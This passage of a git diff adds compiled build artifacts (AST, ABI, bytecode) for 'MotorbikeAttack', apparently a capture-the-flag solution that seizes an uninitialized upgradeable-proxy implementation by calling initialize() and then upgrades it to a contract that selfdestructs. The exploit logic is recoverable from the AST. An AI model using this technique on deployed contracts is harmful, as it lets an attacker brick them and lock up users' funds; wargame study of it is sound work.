\"upgradeToAndCall(address,bytes)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":897,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"758:3:5","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":898,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"758:23:5","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"758:147:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":893,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"696:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":895,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"functionCall","nodeType":"MemberAccess","referencedDeclaration":601,"src":"696:20:5","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"696:219:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":910,"nodeType":"ExpressionStatement","src":"696:219:5"}]},"documentation":null,"functionSelector":"83197ef0","implemented":true,"kind":"function","modifiers":[],"name":"destroy","overrides":null,"parameters":{"id":885,"nodeType":"ParameterList","parameters":[],"src":"553:2:5"},"returnParameters":{"id":886,"nodeType":"ParameterList","parameters":[],"src":"565:0:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":923,"nodeType":"FunctionDefinition","src":"928:102:5","nodes":[],"body":{"id":922,"nodeType":"Block","src":"967:63:5","nodes":[],"statements":[{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":918,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"1007:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":916,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"988:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"988:18:5","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"988:34:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":915,"name":"Check","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":858,"src":"982:5:5","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_bool_$returns$__$","typeString":"function (bool)"}},"id":920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"982:41:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":921,"nodeType":"EmitStatement","src":"977:46:5"}]},"documentation":null,"functionSelector":"90aa6684","implemented":true,"kind":"function","modifiers":[],"name":"validateItIsBroken","overrides":null,"parameters":{"id":913,"nodeType":"ParameterList","parameters":[],"src":"955:2:5"},"returnParameters":{"id":914,"nodeType":"ParameterList","parameters":[],"src":"967:0:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"contractDependencies":[934],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[924],"name":"MotorbikeAttack","scope":935},{"id":934,"nodeType":"ContractDefinition","src":"1034:97:5","nodes":[{"id":933,"nodeType":"FunctionDefinition","src":"1057:72:5","nodes":[],"body":{"id":932,"nodeType":"Block","src":"1088:41:5","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"id":928,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1111:3:5","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":929,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"1111:10:5","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":927,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"1098:12:5","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1098:24:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":931,"nodeType":"ExpressionStatement","src":"1098:24:5"}]},"documentation":null,"functionSelector":"8129fc1c","implemented":true,"kind":"function","modifiers":[],"name":"initialize","overrides":null,"parameters":{"id":925,"nodeType":"ParameterList","parameters":[],"src":"1076:2:5"},"returnParameters":{"id":926,"nodeType":"ParameterList","parameters":[],"src":"1088:0:5"},"scope":934,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[934],"name":"Exploit","scope":935}],"license":"MIT"},"id":5} \ No newline at end of file diff --git a/contracts/out/MotorbikeAttack.sol/MotorbikeAttack.json b/contracts/out/MotorbikeAttack.sol/MotorbikeAttack.json new file mode 100644 index 000000000..c14ab0c85 --- /dev/null +++ b/contracts/out/MotorbikeAttack.sol/MotorbikeAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"impl","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"destroy","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"implementation","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"takeControl","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"validateItIsBroken","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"Check","inputs":[{"name":"result","type":"bool","indexed":false,"internalType":"bool"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561001057600080fd5b506040516106973803806106978339818101604052602081101561003357600080fd5b5051600080546001600160a01b039092166001600160a01b0319909216919091179055610632806100656000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c80635c60da1b1461005157806383197ef01461007557806390aa66841461007f5780639185873414610087575b600080fd5b610059610104565b604080516001600160a01b039092168252519081900360200190f35b61007d610113565b005b61007d610245565b61008f610291565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100c95781810151838201526020016100b1565b50505050905090810190601f1680156100f65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000546001600160a01b031681565b60006040516101219061053f565b604051809103906000f08015801561013d573d6000803e3d6000fd5b50600080546040805160048152602480820183526020820180516001600160e01b031663204a7f0760e21b17815283516001600160a01b03808916938201938452604482019586528451606483015284519899506102419896169689969495939460849092019291908190849084905b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b03167f4f1ef2860000000000000000000000000000000000000000000000000000000017905293506102d992505050565b5050565b6000547f0f806f3a69aebe25b6129d19609333999fb4d2aed709217d19e0465d3bf3e72e9061027c906001600160a01b0316610322565b604080519115158252519081900360200190a1565b6000546040805160048152602481019091526020810180516001600160e01b031663204a7f0760e21b1790526060916102d5916001600160a01b03909116906102d9565b5090565b606061031b83836040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610328565b9392505050565b3b151590565b6060610337848460008561033f565b949350505050565b6060824710156103805760405162461bcd60e51b81526004018080602001828103825260268152602001806105d76026913960400191505060405180910390fd5b61038985610322565b6103da576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106104195780518252601f1990920191602091820191016103fa565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461047b576040519150601f19603f3d011682016040523d82523d6000602084013e610480565b606091505b509150915061049082828661049b565b979650505050505050565b606083156104aa57508161031b565b8251156104ba5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105045781810151838201526020016104ec565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b608b8061054c8339019056fe6080604052348015600f57600080fd5b50606e80601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80638129fc1c14602d575b600080fd5b60336035565b005b33fffea2646970667358221220a5b81b09d489c90d1c264324025fad20729e72e3058b3993bc7833261473f2f064736f6c634300060c0033416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6ca2646970667358221220a7d76e8f4a8e4e1e38491c406a97779968f13ffa8bfdf9978b8868759c77e22664736f6c634300060c0033","sourceMap":"113:919:5:-:0;;;265:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;265:71:5;308:14;:21;;-1:-1:-1;;;;;308:21:5;;;-1:-1:-1;;;;;;308:21:5;;;;;;;;;113:919;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80635c60da1b1461005157806383197ef01461007557806390aa66841461007f5780639185873414610087575b600080fd5b610059610104565b604080516001600160a01b039092168252519081900360200190f35b61007d610113565b005b61007d610245565b61008f610291565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100c95781810151838201526020016100b1565b50505050905090810190601f1680156100f65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000546001600160a01b031681565b60006040516101219061053f565b604051809103906000f08015801561013d573d6000803e3d6000fd5b50600080546040805160048152602480820183526020820180516001600160e01b031663204a7f0760e21b17815283516001600160a01b03808916938201938452604482019586528451606483015284519899506102419896169689969495939460849092019291908190849084905b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b03167f4f1ef2860000000000000000000000000000000000000000000000000000000017905293506102d992505050565b5050565b6000547f0f806f3a69aebe25b6129d19609333999fb4d2aed709217d19e0465d3bf3e72e9061027c906001600160a01b0316610322565b604080519115158252519081900360200190a1565b6000546040805160048152602481019091526020810180516001600160e01b031663204a7f0760e21b1790526060916102d5916001600160a01b03909116906102d9565b5090565b606061031b83836040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610328565b9392505050565b3b151590565b6060610337848460008561033f565b949350505050565b6060824710156103805760405162461bcd60e51b81526004018080602001828103825260268152602001806105d76026913960400191505060405180910390fd5b61038985610322565b6103da576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106104195780518252601f1990920191602091820191016103fa565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461047b576040519150601f19603f3d011682016040523d82523d6000602084013e610480565b606091505b509150915061049082828661049b565b979650505050505050565b606083156104aa57508161031b565b8251156104ba5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105045781810151838201526020016104ec565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b608b8061054c8339019056fe6080604052348015600f57600080fd5b50606e80601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80638129fc1c14602d575b600080fd5b60336035565b005b33fffea2646970667358221220a5b81b09d489c90d1c264324025fad20729e72e3058b3993bc7833261473f2f064736f6c634300060c0033416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6ca2646970667358221220a7d76e8f4a8e4e1e38491c406a97779968f13ffa8bfdf9978b8868759c77e22664736f6c634300060c0033","sourceMap":"113:919:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;198:29;;;:::i;:::-;;;;-1:-1:-1;;;;;198:29:5;;;;;;;;;;;;;;537:385;;;:::i;:::-;;928:102;;;:::i;342:189::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;198:29;;;-1:-1:-1;;;;;198:29:5;;:::o;537:385::-;654:15;672:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;730:14:5;;;852:39;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;852:39:5;-1:-1:-1;;;852:39:5;;;758:147;;-1:-1:-1;;;;;758:147:5;;;;;;;;;;;;;;;;;;;;;;;654:31;;-1:-1:-1;696:219:5;;730:14;;;654:31;;852:39;;758:147;;;;;;;852:39;758:147;;;;;852:39;;758:147;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;758:147:5;;;-1:-1:-1;;758:147:5;;;;;;;;;;;;;;-1:-1:-1;;;;;758:147:5;;;;;;-1:-1:-1;696:20:5;;-1:-1:-1;;;696:219:5:i;:::-;;537:385;:::o;928:102::-;1007:14;;982:41;;988:34;;-1:-1:-1;;;;;1007:14:5;988:18;:34::i;:::-;982:41;;;;;;;;;;;;;;;;;928:102::o;342:189::-;468:14;;484:39;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;484:39:5;-1:-1:-1;;;484:39:5;;;383:12;;447:77;;-1:-1:-1;;;;;468:14:5;;;;447:20;:77::i;:::-;;342:189;:::o;3188:171:3:-;3263:12;3292:60;3305:6;3313:4;3292:60;;;;;;;;;;;;;;;;;:12;:60::i;:::-;3285:67;3188:171;-1:-1:-1;;;3188:171:3:o;726:413::-;1086:20;1124:8;;;726:413::o;3581:193::-;3684:12;3715:52;3737:6;3745:4;3751:1;3754:12;3715:21;:52::i;:::-;3708:59;3581:193;-1:-1:-1;;;;3581:193:3:o;4608:523::-;4735:12;4792:5;4767:21;:30;;4759:81;;;;-1:-1:-1;;;4759:81:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4858:18;4869:6;4858:10;:18::i;:::-;4850:60;;;;;-1:-1:-1;;;4850:60:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;4981:12;4995:23;5022:6;-1:-1:-1;;;;;5022:11:3;5042:5;5050:4;5022:33;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5022:33:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4980:75;;;;5072:52;5090:7;5099:10;5111:12;5072:17;:52::i;:::-;5065:59;4608:523;-1:-1:-1;;;;;;;4608:523:3:o;7091:725::-;7206:12;7234:7;7230:580;;;-1:-1:-1;7264:10:3;7257:17;;7230:580;7375:17;;:21;7371:429;;7633:10;7627:17;7693:15;7680:10;7676:2;7672:19;7665:44;7582:145;7772:12;7765:20;;-1:-1:-1;;;7765:20:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"destroy()":"83197ef0","implementation()":"5c60da1b","takeControl()":"91858734","validateItIsBroken()":"90aa6684"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"impl\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"name\":\"Check\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"destroy\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"implementation\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"takeControl\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"validateItIsBroken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/MotorbikeAttack.sol\":\"MotorbikeAttack\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]},\"src/attacks/MotorbikeAttack.sol\":{\"keccak256\":\"0x132aa9c7710a7bdedfd0ef511e61e261494a997af5dcdbc7d5e7276fbc2db084\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://24ebef00e24106b2f16595102b73856021a543f7635be505e24388e346cba44a\",\"dweb:/ipfs/QmUpFm8JTrkBtc7rjyHZFZFY1EJx4YMH1nr7seZb3pkULa\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"impl","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"bool","name":"result","type":"bool","indexed":false}],"type":"event","name":"Check","anonymous":false},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"destroy"},{"inputs":[],"stateMutability":"view","type":"function","name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"takeControl","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"validateItIsBroken"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/MotorbikeAttack.sol":"MotorbikeAttack"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"},"src/attacks/MotorbikeAttack.sol":{"keccak256":"0x132aa9c7710a7bdedfd0ef511e61e261494a997af5dcdbc7d5e7276fbc2db084","urls":["bzz-raw://24ebef00e24106b2f16595102b73856021a543f7635be505e24388e346cba44a","dweb:/ipfs/QmUpFm8JTrkBtc7rjyHZFZFY1EJx4YMH1nr7seZb3pkULa"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/MotorbikeAttack.sol","id":935,"exportedSymbols":{"Exploit":[934],"MotorbikeAttack":[924]},"nodeType":"SourceUnit","src":"33:1099:5","nodes":[{"id":851,"nodeType":"PragmaDirective","src":"33:23:5","nodes":[],"literals":["solidity","<","0.7",".0"]},{"id":852,"nodeType":"ImportDirective","src":"58:53:5","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","file":"openzeppelin-contracts-06/utils/Address.sol","scope":935,"sourceUnit":827,"symbolAliases":[],"unitAlias":""},{"id":924,"nodeType":"ContractDefinition","src":"113:919:5","nodes":[{"id":854,"nodeType":"VariableDeclaration","src":"198:29:5","nodes":[],"constant":false,"functionSelector":"5c60da1b","mutability":"mutable","name":"implementation","overrides":null,"scope":924,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":853,"name":"address","nodeType":"ElementaryTypeName","src":"198:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"public"},{"id":858,"nodeType":"EventDefinition","src":"234:25:5","nodes":[],"anonymous":false,"documentation":null,"name":"Check","parameters":{"id":857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":856,"indexed":false,"mutability":"mutable","name":"result","nodeType":"VariableDeclaration","overrides":null,"scope":858,"src":"246:11:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":855,"name":"bool","nodeType":"ElementaryTypeName","src":"246:4:5","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"245:13:5"}},{"id":868,"nodeType":"FunctionDefinition","src":"265:71:5","nodes":[],"body":{"id":867,"nodeType":"Block","src":"298:38:5","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":865,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":863,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"308:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":864,"name":"impl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":860,"src":"325:4:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"308:21:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":866,"nodeType":"ExpressionStatement","src":"308:21:5"}]},"documentation":null,"implemented":true,"kind":"constructor","modifiers":[],"name":"","overrides":null,"parameters":{"id":861,"nodeType":"ParameterList","parameters":[{"constant":false,"id":860,"mutability":"mutable","name":"impl","nodeType":"VariableDeclaration","overrides":null,"scope":868,"src":"277:12:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":859,"name":"address","nodeType":"ElementaryTypeName","src":"277:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"276:14:5"},"returnParameters":{"id":862,"nodeType":"ParameterList","parameters":[],"src":"298:0:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":884,"nodeType":"FunctionDefinition","src":"342:189:5","nodes":[],"body":{"id":883,"nodeType":"Block","src":"397:134:5","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":876,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"468:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"696e697469616c697a652829","id":879,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"508:14:5","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""},"value":"initialize()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""}],"expression":{"argumentTypes":null,"id":877,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"484:3:5","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":878,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"484:23:5","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":880,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"484:39:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":873,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"447:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":875,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"functionCall","nodeType":"MemberAccess","referencedDeclaration":601,"src":"447:20:5","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"447:77:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":882,"nodeType":"ExpressionStatement","src":"447:77:5"}]},"documentation":null,"functionSelector":"91858734","implemented":true,"kind":"function","modifiers":[],"name":"takeControl","overrides":null,"parameters":{"id":869,"nodeType":"ParameterList","parameters":[],"src":"362:2:5"},"returnParameters":{"id":872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":871,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":884,"src":"383:12:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":870,"name":"bytes","nodeType":"ElementaryTypeName","src":"383:5:5","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"382:14:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":912,"nodeType":"FunctionDefin